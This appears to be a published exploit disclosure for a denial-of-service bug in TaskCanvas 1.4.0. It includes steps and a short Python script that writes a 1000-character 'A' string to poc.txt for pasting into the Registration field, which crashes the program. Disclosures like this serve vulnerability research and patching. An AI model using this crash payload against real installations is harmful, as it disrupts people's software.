# Exploit Title: TaskCanvas 1.4.0 - 'Registration' Denial Of Service # Exploit Author : Ismail Tasdelen # Exploit Date: 2020-01-06 # Vendor Homepage : https://www.digitalvolcano.co.uk/ # Link Software : https://www.digitalvolcano.co.uk/taskcanvasdownload.html # Tested on OS: Windows 10 # CVE : N/A ''' Proof of Concept (PoC): ======================= 1.Download and install TaskCanvas 2.Run the python operating script that will create a file (poc.txt) 3.Run the software "Registration -> Enter Registration Code 4.Copy and paste the characters in the file (poc.txt) 5.Paste the characters in the field 'Registration' and click on 'Ok' 6.TaskCanvas Crashed ''' #!/usr/bin/python buffer = "A" * 1000 payload = buffer try: f=open("poc.txt","w") print("[+] Creating %s bytes evil payload." %len(payload)) f.write(payload) f.close() print("[+] File created!") except: print("File cannot be created.")